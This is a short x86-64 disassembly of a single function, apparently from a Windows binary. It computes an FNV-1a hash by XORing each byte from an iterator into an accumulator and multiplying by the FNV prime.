sub rsp, 0x98
mov qword [rsp + 0x28], r8
mov rax, rdx
mov rdx, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rax, rcx
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdx
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
call fcn.140175360
mov rcx, rax
call fcn.140195590
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rdx
lea rcx, [rsp + 0x48]
call fcn.1401d95b0
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x58]
mov eax, 1
xor ecx, ecx
cmp rdx, 0
cmove rax, rcx
cmp rax, 0
jne 0x1400c314c
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rax], rcx
add rsp, 0x98
ret
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x80], rcx
mov rax, qword [rsp + 0x40]
movzx ecx, byte [rcx]
xor rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x88], rax
movabs rcx, 0x100000001b3
mov qword [rsp + 0x90], rcx
movabs rcx, 0x100000001b3
imul rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x1400c3104